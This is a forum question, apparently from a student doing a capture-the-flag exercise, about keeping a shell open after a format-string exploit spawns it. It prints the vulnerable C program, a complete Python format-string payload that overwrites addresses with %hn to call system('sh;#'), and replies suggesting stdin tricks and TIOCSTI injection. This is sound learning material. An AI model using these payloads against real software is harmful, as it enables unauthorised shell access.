I'm studying computer science and doing security exercises at https://ctf101.org/ and exploit exercises in my free time.
I want to send input to a program's STDIN (i.e. the payload below) in a format-string exploit exercise, where the program is reading from fgets()
twice.
Now, if I pipe the payload (see below), then system("sh;#")
is executed, but it exits immediately, since the pipe sends EOF
?
I've also checked the program's tty
, and then writing to /dev/pts/0
, but that doesn't work. Neither does it work to write to /proc/PID/fd/0
.
How can I write to the program's STDIN, so that the call system("sh;#")
will result in an interactive shell (not terminating immediately)?
python -c 'print("sh;#"+"%54012x"+"%12$hn"+"%09441x"+"%13$hn"+"##"+"\x50\x33\x40\x00\x00\x00\x00\x00"+"\x52\x33\x40\x00\x00\x00\x00\x00")' | env -i ./fmtstr0x1
The complete program:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define BUFSZ 128
int main(int argc, char** argv) {
char buffer[BUFSZ];
fgets(buffer, BUFSZ, stdin);
printf(buffer);
fgets(buffer, BUFSZ, stdin); // exploit this!
return 0;
}
{ python -c '...'; cat; } | ./exploitable_program
. – Mar 24 '19 at 18:33printf 'exploit' | ./tiocsti & env -i ./fmtstr0x1
. – Mar 24 '19 at 19:12